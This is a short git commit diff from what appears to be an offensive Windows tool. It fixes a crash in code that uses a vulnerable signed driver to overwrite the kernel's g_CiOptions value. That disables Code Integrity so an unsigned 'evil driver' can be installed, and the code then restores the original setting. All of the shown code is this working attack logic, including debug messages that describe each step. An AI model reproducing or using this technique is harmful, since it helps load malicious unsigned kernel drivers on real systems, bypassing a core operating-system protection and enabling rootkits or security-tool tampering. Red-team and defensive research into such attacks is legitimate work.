g_CiOptions patching: fixed a crash

This commit is contained in:
Maxime Meignan
2023-10-09 14:59:10 +02:00
parent 0b0086ea92
commit 0a817fea93
+2 -3
View File
@@ -742,7 +742,7 @@ Other options:\n\
}
_putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
ULONG CiOptionsValue = 0;
PULONG OldCiOptionsValue;
ULONG OldCiOptionsValue;
patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
LPTSTR evilServiceNameIfAny = NULL;
BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
@@ -757,7 +757,7 @@ Other options:\n\
_putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
}
_putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
patch_gCiOptions(g_CiOptionsAddress, OldCiOptionsValue, &OldCiOptionsValue);
}
}
else {
@@ -766,7 +766,6 @@ Other options:\n\
}
}
}
// END WIP
break;
}
}